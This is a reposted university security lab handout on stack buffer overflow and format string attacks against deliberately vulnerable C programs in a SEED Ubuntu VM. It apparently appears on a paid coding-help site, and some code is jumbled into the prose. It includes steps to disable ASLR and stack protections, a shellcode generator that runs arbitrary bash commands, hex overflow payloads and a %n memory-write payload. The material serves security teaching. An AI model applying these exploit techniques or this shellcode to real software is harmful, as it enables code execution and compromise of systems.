联系方式

  • QQ:99515681
  • 邮箱:99515681@qq.com
  • 工作时间:8:00-21:00
  • 微信:codinghelp

您当前位置:首页 >> C/C++编程C/C++编程

日期:2023-12-13 07:38

IERG 4130 Lab 5: Buffer overflow && format string attack

[65 pts]

Submission format

1. The file format should be PDF

2. The file should be submitted with the file name in the format "{course code}_LAB{i}_{Dept}_{Sid}". For

example, "IERG4130_LAB1_IE_1155xxxxxx.pdf".

0. Establish the experiment environment [0 pt]

1. Please download the VM

1. Download VirtualBox and the SEED Ubuntu-20.04 VM. Choose Ubuntu 20.04 VM , and

download from Google Drive or DigitalOcean.

2. Refer to the VM Manual to configure your VM.

2. Please download the zip file lab5.zip from Blackboard, put it into the VM, and unzip it.

1. Buffer Overflow Attack [45 pts + optional bonus 15 pts ]

1.1 Turning off Countermeasures

Before starting this lab, we need to make sure the address randomization countermeasure is turned off;

otherwise, the attack will be difficult. You can do it using the following command:

1.2 The Vulnerable Program

The vulnerable program used in this lab is called stack.c . This program has a buffer-overflow

vulnerability, and your job is to exploit this vulnerability and gain the coupon from ParknShop company.

$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

#include <stdio.h>

#include <time.h>

#include <unistd.h>

int get_coupon(){

puts("\nCongrats!!");

time_t curtime;

time(&curtime);

printf("You receive the coupon at %s", ctime(&curtime));

return 0;

}

The above program has a buffer overflow vulnerability on the stack. It reads data from the standard input,

and then end the program without giving any coupon. The original input can have a maximum length of 40

bytes, but the buffer in read_name() is only 12 bytes long, which is less than 40. Because read does not

check boundaries, buffer overflow will occur.

If users can exploit this buffer overflow vulnerablity, they can get a coupon from this program.

1.3 Compilation

To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable

stack protections using the -fno-stack-protectorand and -z execstack options.

We will compile the stack program into 32-bit binaries. Our pre-built Ubuntu 20.04 VM is a 64-bit VM, but

it still supports 32-bit binaries. All we need to do is to use the -m32 option in the gcc command. For 32-bit

compilation, we also use -static to generate a statically-linked binary, which is self-contained and not

depending on any dynamic library, because the 32-bit dynamic libraries are not installed in our containers.

The following is the compilation command.

int input_name(){

char buf[12];

read(0,buf,180);

return 0;

}

int main(void){

puts("=========Stack Buffer Overflow is easy=========");

puts("Welcome to online coupon system...");

puts("See if you have the chance to get the coupon!");

puts("Please input your name:");

fflush(stdout);

input_name();

puts("Sorry, you are not lucky this time."); // PxxxxShop company doesn't want to

give anyone coupon.

return 0;

}

$ gcc -g -z execstack -fno-stack-protector -o stack -static -m32 stack.c

1.4 Task 1: Get the program to segmentation fault [5 pts]

The ultimate goal of buffer-overflow attacks is to hijack the control flow or inject malicious code into the

target program, so the code can be executed using the target program’s privilege. Before that goal, a bufferoverflow would easily violate the availability of program.

Let's run the program to see what's going on. After compilation, use the following command to run the

program.

However, this program would not let you get the coupon when you input your name as normal. (Note:

although we provide the source code here, it doesn't mean that you can change the code to call the

get_coupon() directly and recompile the code to run. Here, the source code is for your understanding and

we have to use user input to attack the program. In real world, the source code is usually not available and

we can only obtain the compiled binary. Usually, attacker will leverage reverse engineering to decompile

the binaries to find vulnerabilities.)

Task (requires screenshots): Please provide a user input that can cause the program to crash with

Segmentation fault , and explain in your own words what is a Segmentation fault . (Providing only a

user input will not earn any points for this task.)

1.5 Task 2: use gdb to debug program [5 pts]

Before we exploit the program, we need to know how to use gdb to dynamically debug the program. The

pre-built VM already installed the gdb with peda . The common commands in gdb are provided in Tutorial07 Slides p5-p7.

Use the following command to debug the program stack with gdb.

Since we use -g option to compile the program, the symbol table (information of function name, variable

name) is kept in the binary for debugging. We can directly disassemble a function using its name.

$ ./stack

=========Stack Buffer Overflow is easy=========

Welcome to online coupon system...

See if you have the chance to get the coupon!

Please input your name:

XXX

Sorry, you are not lucky this time.

$ gdb stack

gdb-peda$ disas main

Dump of assembler code for function main:

......

End of assembler dump.

We can also make breakpoint at certain function using its name. Then run the program and we would stop

at the breakpoint (the first assemble instruction in function input_name() )

We can use ni , si , continue to continue running the program.

gdb-peda provide us a well-structured GUI to show the current Registers value, current Code, current

Stack.

We can use x/8wx ADDRESS to print out the memory value starting from ADDRESS. (In this case, we print

out 8 values and each value is in 4-byte hex format.)

gdb-peda$ break input_name

gdb-peda$ run

gdb-peda$ continue

Continuing.

XXX

Sorry, you are not lucky this time.

[Inferior 1 (process 3440433) exited normally]

...

gdb-peda$

As shown in the Tutorial-07 Slides p7, w in x/8wx ADDRESS can be replaced with b/h/g (each value with

1/2/8 bytes). w means 4 bytes long.

x/32bx 0xffffd09c prints the same memory value as x/8wx 0xffffd09c in the above figure. However,

we found that the order printed by the later command is inverse. This is because CPU here is little-endian

(what is little-endian?).

Task (requires screenshots): Please make two breakpoints, the first one is at read(0,buf,40); in

function input_name() , the second one is at return 0; in function input_name() . And run the program

to exit normally in gdb.

1.6 Task 3: Attack the program to hijack control flow [20 pts + bonus 15 pts]

For this task, we want to exploit the stack buffer overflow to get the coupon. From the source code, we can

see that there is already a function get_coupon() provided in the program, but it is never called. However,

we can use the buffer overflow vulnerability to hijack the control flow and redirect it to get_coupon() via

user input.

The reason the buffer overflow vulnerability occurs here is that read(0, buf, 40) allows the user to input

40 bytes, but the buf is only 12 bytes long. This means that we can overwrite 28 bytes value on the stack.

We can use gdb to observe this procedure and understand the principle of the buffer overflow

vulnerability.

By finising above tasks, you already learned how to make breakpoints at read(0,buf,40); and return

0; in function input_name() . Now, we first provide a valid input that would not crash the program and

observe the value on the stack.

After giving the input, we observe that there are indeed 12 bytes written as 0x61616161 0x61616161

0x61616161 from address 0xffffd084 to address 0xffffd08f .

gdb-peda$ x/10wx 0xffffd070

gdb-peda$ ni

aaaaaaaaaaaabbbbccccddd

Task [5 pts]: Actually, if you are looking closely, we have already overwritten a byte. Please indicate which

byte value, at which address, was overwritten and provide the value it was overwritten with. Finally, explain

why this occurred.

Let's try another run to overwrite or Smash the stack.

Here, we give an invalid input to overwrite the stack. We observe that we successfully over wrote the later

12 bytes.

We can use below command to directly input hex values in gdb.

We can also use below command to directly input hex values in terminal.

gdb-peda$ run <<< $(echo -en

'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x

64\x64')

Task [15 pts] (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to

obtain the coupon by redirecting the control flow to get_coupon() . The attack payload should be

demonstrated and explained as to why it is crafted this way.

Note: Please perform the attack in the terminal, finally. Here is the successful screenshot. It's ok to have

segmentation fault finally in this attack.

1.7 Task [Optional: Bonus 15 pts]: Attack the program to inject malicious shellcode.

However, get the coupon is not enough for super attacker. The ultimate attack goal is to run any malicious

code. Shellcode help us achieve this.

To alleviate your workload, we provide a python script with shellcode template to generate shellcode that

execute malicious code. The file is shellcode_32.py .

$ ./stack <<< $(echo -en

'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x

64\x64')

#!/usr/bin/python3

import sys

# You can use this shellcode to run any command you want

shellcode = (

"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"

"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"

"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"

"/bin/bash*"

"-c*"

# You can modify the following command string to run any command.

# You can even run multiple commands. When you change the string,

# make sure that the position of the * at the end doesn't change.

# The code above will change the byte at this position to zero,

# so the command string ends here.

# You can delete/add spaces, if needed, to keep the position the same.

# The * in this line serves as the position marker *

"/bin/ls -l;echo hacked by 1155XXXXXX;echo bof is easy 4 me*"

"AAAA" # Placeholder for argv[0] --> "/bin/bash"

"BBBB" # Placeholder for argv[1] --> "-c"

Replace the student ID 1155XXXXXX with your own one and use below command to generate the shellcode.

Task (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to inject the

shellcode and execute it. The attack payload should be fully demonstrated and explained as to why it is

crafted this way.

Note: The address of the program running in GDB maybe different from the one running in the terminal.

So please perform the attack in GDB, finally. You could also try performing the attack in the terminal, but

it requires a bit more effort.

The screenshot of successful attack in GDB is below.

The screenshot of successful attack in terminal is below.

"CCCC" # Placeholder for argv[2] --> the command string

"DDDD" # Placeholder for argv[3] --> NULL

).encode('latin-1')

# Output the shell code to stdout

res = ''.join("\\x"+format(x, '02x') for x in shellcode)

print(res)

1.8 Task 4: Experimenting with the Address Randomization [5 pts]

At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout

Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack. You can run the

following command on your VM to enable ASLR. This change is global, and it will affect all the programs

running inside the VM.

We provide another program source code stack-defense.c for this task, please use the below

command to compile the program.

We also provide the python script generate-stack-defense-payload.py to generate a attack payload

against the stack-de .

First, run the stack-de program in terminal after compilation. This will provide you a address.

Use provided generate-stack-defense-payload.py script to generate an attack payload that inject

shellcode.

Then we can attack the program by using below command.

We first still turn off the ASLR.

Then use the generated attack payload to attack the program.

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

$ gcc -g -z execstack -fno-stack-protector -o stack-de -static -m32 stack-defense.c

$ python3 generate-stack-defense-payload.py 0xffffd090

$ ./stack-de <<< $(echo -en '\x60\xc0\xff\xff...')

$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

We can see this attack payload works successfully when turnning off the ASLR.

Now, let's try turn ASLR back on and see if the payload still works again.

Task (requires screenshots): Please provide the attack result when we enable ASLR protection. Also,

please observe the printed address each time after enable ASLR protection.

Note: After finishing this task, please turn off the ASLR again.

1.9 Task 5: Experimenting with the StackGuard [5 pts]

Many compiler, such as gcc, implements a security mechanism called StackGuard to prevent buffer

overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable

programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see

what will happen.

Please use this command to recompile the stack-defense.c

Task (requires screenshots): Please use the generated attack payload to attack against the program

( stack-de ) again to see if the attack still works.

1.10 Task 6: Experimenting with the Non-executable Stack Protection (5 pts)

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary

images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,

they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide

whether to make the stack of this running program executable or non-executable. This marking is done

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

$ gcc -g -z execstack -o stack-de -static -m32 stack-defense.c

automatically by the gcc, which by default makes stack non-executable. We can specifically make it nonexecutable using the -z noexecstack flag in the compilation. In our previous tasks, we used -z

execstack to make stacks executable.

In this task, we will make the stack non-executable. Please use this command to recompile stackdefense.c .

Now, try use the generated attack payload to attack against the program stack-de again.

Task (requires screenshots): Please provide the attack result when we enable non-executable stack

protection.

2. Format String Attack [20 pts]

2.1 Turning off Countermeasures

Modern operating systems uses address space randomization to randomize the starting address of heap

and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps

of the format-string attack. To simplify the tasks in this lab, we turn off the address randomization using the

following command:

2.2 The Vulnerable Program

$ gcc -g -fno-stack-protector -o stack-de -static -m32 stack-defense.c

$ sudo sysctl -w kernel.randomize_va_space=0

#include <stdio.h>

#include <unistd.h>

int magic = 0;

int main(void){

char buf[256];

puts("Please guess the magic!");

printf("Give me magic:");

fflush(stdout);

read(0, buf, 256);

printf(buf);

if (magic == 23) {

puts("\nCongrats!! Format string attack is eazy.");

The above program has a format string vulnerability on the stack. It reads data from the standard input,

and then the input data is fed into the printf() function, which leads to a format-string vulnerability.

2.3 Compilation

Please use the below command to compile the program format .

2.4 Task 7: Read arbitary memory [10 pts]

Use gdb to debug the format program.

Diassemble the main function to make a breakpoint at printf(buf);

Then run the program in GDB.

Now, we will stop at the stage that requires user input.

The first trick in format string attack is to use printf("%7$p"); . This means that if user input can control

the value in printf, then we can feed %7$p to print out the memory value of 7th parameter on the stack.

We can change the number 7 to other number to print out other parameters on the stack.

Let's input the below content and continue the program.

} else {

puts("Oops. You don't have the magic.");

}

}

gcc -z execstack -static -m32 -o format format.c

$ gdb format

gdb-peda$ disas main

gdb-peda$ break *ADDRESS

gdb-peda$ run

aaaa%7$p

Since we make breakpoint at the vulnerable statement printf(buf); , we will stop at this breakpoint.

Continue running the program, we will see the leaked memory value.

As shown, the printed memory value is exactly the aaaa string in hex format.

Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.

2.5 Task 8: write arbitary memory to change the magic [10 pts]

From the source code of vulnerable program, we want to exploit this format string vulnerability to over

write the value in magic variable from 0 to 23.

To achieve this, we need to know another trick in format string.

One is to use %7$n , which can overwrite the value of 7th parameter on the stack. The written value

will be the number of chars (bytes) that is printed.

Another one is to use %19c , which can print 19 chars to the terminal.

It's ok to not understand these tricks. All you need to know is that we can combine above tricks to one to

overwrite any value we want. That is, printf("%19c%7$n") can let us write the value of 7th parameter on

the stack to 19 (in decimal).

Let's try this trick to overwrite the value of magic variable. First, we need to get the address of magic

variable. We can use gdb to do this.

Then we can input this address first and it will be put on the 7th on the stack. We also input the trick

%19c%7$n followed the address to overwrite the value to 23. (Why is 23: because the address value is

printed first and counted as 4 bytes, and plus our 19 bytes printed by %19c )

The final payload is below:

Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.

gdb-peda$ x/x &magic

echo -en '\xdc\x62\x0e\x08%19c%7$n'

Credit

The lab partly refers to the SeedLab 2.0. The lab is for teaching with no commercial usage.


版权所有:编程辅导网 2021 All Rights Reserved 联系方式:QQ:99515681 微信:codinghelp 电子信箱:99515681@qq.com
免责声明:本站部分内容从网络整理而来,只供参考!如有版权问题可联系本站删除。 站长地图

python代写
微信客服:codinghelp